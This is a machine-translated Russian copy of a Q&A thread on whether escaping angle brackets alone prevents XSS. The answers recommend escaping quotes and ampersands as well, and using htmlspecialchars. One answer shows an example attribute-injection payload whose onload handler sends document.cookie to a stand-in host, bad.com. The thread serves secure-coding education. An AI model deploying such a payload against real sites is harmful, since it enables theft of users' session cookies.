Заменяет: <и> с &lt; и &gt; достаточно предотвратить инъекцию XSS?

Я хочу знать если entiting две отметки < и > достаточно должен предотвратить инъекции XSS?

И в противном случае почему? И каково лучшее решение?

14
задан BalusC 22 January 2010 в 00:09
поделиться

2 ответа

Это очень зависит от контекста.

Проверьте этот пример, с типичного сайта форума ...

Вы можете Hotlink Your avatar Image. Введите полный URL.

Злоисный пользователь входит в поле ввода

http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 

. Там нет кодирования меньше, чем и больше, но все же большая безопасность.

С HTMLSPECialChars () , я обнаружил, что она была хорошей идеей, чтобы сделать (или использовать) функцию обертки ее, которая бросается к строке, обеспечивает более простой способ отключить двойную кодировку (при необходимости) и Чтобы убедиться, что он использует правильный набор символов вашего приложения. Кохана имеет отличный пример .

18
ответ дан 1 December 2019 в 12:13
поделиться

Вам следует также принять во внимание двойные кавычки ", одинарные кавычки ' и амперсанды & . Если вы делаете это все во время отображения / генерации вывода, тогда да, этого достаточно.

Вы должны только убедиться , что вы делаете это для любого пользователя - контролируемый ввод, такой как параметры запроса, URL-адрес запроса, заголовки запроса и управляемый пользователем ввод, который хранится в хранилище данных.

В PHP вы можете сделать это с помощью htmlspecialchars () , а в JSP можно сделайте это с помощью JSTL .

6
ответ дан 1 December 2019 в 12:13
поделиться
Другие вопросы по тегам:

Похожие вопросы: